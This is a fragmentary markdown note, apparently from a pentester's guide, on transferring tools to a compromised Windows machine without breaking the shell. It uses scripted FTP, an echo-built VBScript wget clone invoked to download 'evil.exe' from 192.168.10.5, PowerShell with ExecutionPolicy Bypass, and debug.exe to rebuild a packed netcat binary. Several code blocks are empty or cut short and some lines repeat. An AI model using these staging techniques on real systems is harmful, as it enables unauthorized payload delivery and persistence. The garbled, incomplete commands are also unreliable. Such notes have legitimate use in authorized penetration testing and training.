Updates transfering_files_to_windows.md

Transferring files to linux is usually pretty easy. We can use netcat, wget, curl, which most systems have as default. But windows does not have these tools.

## FTP

Most windows machines have a ftp-client included. But we can't use it interactively since that most  likely would kill our shell. So we have get around that. We can however run commands from a file. So what we want to do is to echo out the commands into a textfile. And then use that as our input to the ftp-client. Let me demonstrate.

Then run this command to connect to the ftp

```

ftp –v -n -s:ftp.txt

ftp -v -n -s:ftp.txt

```

Of course you need to have a ftp-server configured with the user asshat and the password to mysecretpassword.

Here is a good script to make a wget-clone in VB.

If it doesn't work try piping it through unix2dos before copying it.

```

echo strUrl = WScript.Arguments.Item(0) > wget.vbs

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs

echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs

echo Next >> wget.vbs

echo ts.Close >> wget.vbs

```

You then execute the script like this:   

**cscript wget.vbs http://192.168.10.5/evil.exe evil.exe** 

The script works great and I found it at the this guys gist: https://gist.github.com/sckalath/ec7af6a1786e3de6c309

**cscript wget.vbs **[http://192.168.10.5/evil.exe](http://192.168.10.5/evil.exe)** evil.exe**

The script works great and I found it at the this guys gist: [https://gist.github.com/sckalath/ec7af6a1786e3de6c309](https://gist.github.com/sckalath/ec7af6a1786e3de6c309)

## Powershell

```

Now we invoke it with this crazy syntax:

```

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

```

## Debug.exe

This is a crazy technique that works on windows 32 bit machines. Basically the idea is to use the debug.exe program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like netcat. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with debug.exe.

```

upx -9 nc.exe

```

Now it only weights 29 kb. Perfect.So now let's disassemble it:

```

```

Perfect, now we just copy-past the text into our windows-shell. And it will automatically create a file called nc.exe